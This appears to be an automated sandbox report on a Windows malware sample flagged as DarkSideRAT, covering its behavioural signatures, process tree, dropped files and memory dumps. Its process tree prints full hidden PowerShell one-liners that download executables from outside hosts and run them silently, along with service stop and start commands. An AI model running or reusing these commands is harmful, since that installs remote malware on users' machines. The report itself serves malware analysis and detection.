Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/08/2026, 16:13

General

  • Target
    2026-08-02_f071ac6a2aa0eabf5802dcf878560aec_cobalt-strike_icedid_njrat_satacom_stealc.exe
  • Size 619KB
  • Sample260802-tpgsfssvb1
  • SHA256 9cd5d8c2cd4c82d7bdedba272c6f845ad41f0e0ab4405cd88e5e6b04e24861d7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Stops running service(s) 4 TTPs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-02_f071ac6a2aa0eabf5802dcf878560aec_cobalt-strike_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-02_f071ac6a2aa0eabf5802dcf878560aec_cobalt-strike_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4704
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=TyKkiiu2OVvH' -OutFile $env:TEMP\BK288187.exe; Start-Process -FilePath $env:TEMP\BK288187.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1224
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=TyKkiiu2OVvH' -OutFile $env:TEMP\BK288187.exe; Start-Process -FilePath $env:TEMP\BK288187.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3804
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=TyKkiiu2OVvH' -OutFile $env:TEMP\BK288187.exe; Start-Process -FilePath $env:TEMP\BK288187.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4028
          • C:\Users\Admin\AppData\Local\Temp\BK288187.exe
            "C:\Users\Admin\AppData\Local\Temp\BK288187.exe"
            5⤵
            • Executes dropped EXE
            PID:436
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=q0TJl098mvwy' -OutFile $env:TEMP\BK392779.exe; Start-Process -FilePath $env:TEMP\BK392779.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2596
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=q0TJl098mvwy' -OutFile $env:TEMP\BK392779.exe; Start-Process -FilePath $env:TEMP\BK392779.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3996
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=q0TJl098mvwy' -OutFile $env:TEMP\BK392779.exe; Start-Process -FilePath $env:TEMP\BK392779.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:536
          • C:\Users\Admin\AppData\Local\Temp\BK392779.exe
            "C:\Users\Admin\AppData\Local\Temp\BK392779.exe"
            5⤵
            • Executes dropped EXE
            PID:2708
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc start vgk >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2480
      • C:\Windows\system32\sc.exe
        sc start vgk
        3⤵
        • Launches sc.exe
        PID:5056
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop vgc >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3484
      • C:\Windows\system32\sc.exe
        sc stop vgc
        3⤵
        • Launches sc.exe
        PID:3500
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc start vgc >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2560
      • C:\Windows\system32\sc.exe
        sc start vgc
        3⤵
        • Launches sc.exe
        PID:4600

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 86ee6979df7c194cf082a65952cadb1fd0dde7308429e41d1d94599f5ebb51a7
        • MD5 SHA1 SHA512 TLSH

        BK288187.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK288187.exe
        • Size 277KB
        • SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        BK392779.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK392779.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_5ccig2uc.0wv.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ccig2uc.0wv.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/536-3-0x000001F1A49A0000-0x000001F1A49B0000-memory.dmp

        memory/536-13-0x000001F1A4970000-0x000001F1A4992000-memory.dmp

        memory/536-31-0x000001F1A49A0000-0x000001F1A49B0000-memory.dmp

        memory/4028-4-0x000002BAF6960000-0x000002BAF6970000-memory.dmp

        memory/4028-5-0x000002BAF6960000-0x000002BAF6970000-memory.dmp